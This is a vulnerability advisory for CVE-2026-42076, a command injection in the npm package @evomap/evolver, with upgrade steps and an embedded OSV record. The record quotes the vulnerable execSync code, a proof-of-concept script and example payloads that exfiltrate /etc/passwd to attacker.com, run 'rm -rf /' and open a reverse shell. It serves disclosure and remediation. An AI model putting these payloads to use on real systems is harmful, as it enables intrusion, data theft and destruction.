CVE-2026-42076: Evolver Remote Code Execution Vulnerability
CRITICALCVE-2026-42076 is a CRITICAL (CVSS 9.8) remote code execution vulnerability (CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')) affecting Evolver libraries in the npm ecosystem. The issue involves command injection via `execsync` in `_extractllm()` function allows remote code execution. Remediation is available by upgrading affected packages to version 1.69.3.
CVE-2026-42076 at a Glance
Security Impact
CVSS: 9.8
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H).
How to Fix CVE-2026-42076
To remediate this vulnerability, upgrade all affected Evolver dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
npm install @evomap/evolver@1.69.3
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
npm ls @evomap/evolver
How to Check if You Are Affected
To determine whether your Node.js application is affected by CVE-2026-42076, inspect your project dependencies using npm:
npm ls @evomap/evolver
Analyze the terminal output to locate any version of Evolver in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 1.69.3), your application is affected.
Note: The npm ls @evomap/evolver command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection'), where the product constructs all or part of an os command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended os command when it is sent to a downstream component. In Evolver, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2026-42076 Affected Evolver Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
@evomap/evolver
|
npm |
< 1.69.3
|
1.69.3
|
References
Frequently Asked Questions
What is CVE-2026-42076?
Which Evolver versions are affected?
What version fixes CVE-2026-42076?
Is @evomap/evolver affected?
What is the CVSS score of CVE-2026-42076?
What CWE is associated with CVE-2026-42076?
How can I check npm dependencies for CVE-2026-42076?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-j5w5-568x-rq53",
"modified" : "2026-05-04T19:54:34Z",
"published" : "2026-04-22T22:06:03Z",
"aliases" : [ "CVE-2026-42076" ],
"summary" : "Evolver: Command Injection via `execSync` in `_extractLLM()` function allows Remote Code Execution",
"details" : "### Summary\nA command injection vulnerability in the `_extractLLM()` function allows attackers to execute arbitrary shell commands on the server. The function constructs a curl command using string concatenation and passes it to `execSync()` without proper sanitization, enabling remote code execution when the `corpus` parameter contains shell metacharacters.\n\n### Details\nThe vulnerability exists in `src/gep/signals.js` at lines 260-274:\n\n```javascript\n// src/gep/signals.js:260-274\nfunction _extractLLM(corpus, nodeSecret, hubUrl) {\n // ...\n var url = getHubUrl(hubUrl) + '/gep/extract';\n var postData = JSON.stringify({ corpus_summary: summary });\n \n // VULNERABLE: String concatenation into shell command\n var curlCmd = 'curl -s -m 10 -X POST'\n + ' -H \"Content-Type: application/json\"'\n + ' -H \"Authorization: Bearer ' + nodeSecret + '\"'\n + ' -d ' + JSON.stringify(postData).replace(/'/g, \"'\\\\''\")\n + ' ' + JSON.stringify(url);\n\n // VULNERABLE: Executes shell command\n stdout = execSync(curlCmd, { timeout: 12000, encoding: 'utf8' });\n // ...\n}\n```\n\nThe `corpus` parameter is derived from user input (via `userSnippet` in `extractSignals()` function) and flows through to `_extractLLM()` where it becomes part of the shell command. While `JSON.stringify()` escapes some characters, it does not prevent shell command substitution via `$(...)` syntax when the resulting string is passed to `execSync()`.\n\nThe `extractSignals()` function is called from the main evolution loop in `src/gep/evolver.js`, which processes user snippets and session transcripts.\n\n### PoC\n\n**Prerequisites:**\n- Node.js installed\n- Access to the evolver application\n\n**Steps to reproduce:**\n\n1. Create a test file that simulates the vulnerable code path:\n\n```javascript\n// test-command-injection.js\nconst { execSync } = require('child_process');\n\n// Simulate the vulnerable _extractLLM function\nfunction vulnerableExtractLLM(corpus) {\n const postData = JSON.stringify({ corpus_summary: corpus });\n const curlCmd = 'curl -s -m 10 -X POST'\n + ' -H \"Content-Type: application/json\"'\n + ' -d ' + JSON.stringify(postData).replace(/'/g, \"'\\\\''\")\n + ' http://localhost/test';\n \n console.log('Command that would be executed:');\n console.log(curlCmd);\n console.log('\\n--- Testing command substitution ---');\n \n // Demonstrate that command substitution works\n const testCmd = 'echo ' + JSON.stringify('$(id)');\n console.log('\\nTest with echo:');\n console.log(execSync(testCmd, { encoding: 'utf8' }));\n}\n\n// Payload with command injection\nconst maliciousCorpus = '$(touch /tmp/pwned)';\nvulnerableExtractLLM(maliciousCorpus);\n```\n\n2. Run the test:\n```bash\nnode test-command-injection.js\n```\n\n**Expected result:** The command substitution `$(id)` is executed by the shell, demonstrating that the same technique could be used with `curl` to execute arbitrary commands.\n\n**Actual exploit scenario:**\nIf an attacker can control the `userSnippet` parameter that flows into `extractSignals()` (e.g., via compromised log files or malicious user input), they can inject shell commands like:\n- `$(curl attacker.com/exfil?data=$(cat /etc/passwd))`\n- `$(rm -rf /)`\n- `$(bash -i >& /dev/tcp/attacker.com/4444 0>&1)`\n\n### Impact\nThis is a **Remote Code Execution (RCE)** vulnerability. An attacker who can control input to the `extractSignals()` function (whether through compromised log files, malicious user input, or other vectors) can execute arbitrary shell commands with the privileges of the Node.js process. This could lead to:\n- Full system compromise\n- Data exfiltration\n- Installation of malware/backdoors\n- Lateral movement within the network\n\n**Affected users:** Anyone running the evolver with the GEP (Genetic Evolution Protocol) enabled and processing user-provided content.",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "npm",
"name" : "@evomap/evolver"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "1.69.3"
} ]
} ]
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/EvoMap/evolver/security/advisories/GHSA-j5w5-568x-rq53"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-42076"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/EvoMap/evolver"
}, {
"type" : "WEB",
"url" : "https://github.com/EvoMap/evolver/releases/tag/v1.69.3"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-78" ],
"severity" : "CRITICAL",
"github_reviewed" : true,
"github_reviewed_at" : "2026-04-22T22:06:03Z",
"nvd_published_at" : "2026-05-04T17:16:24Z"
}
}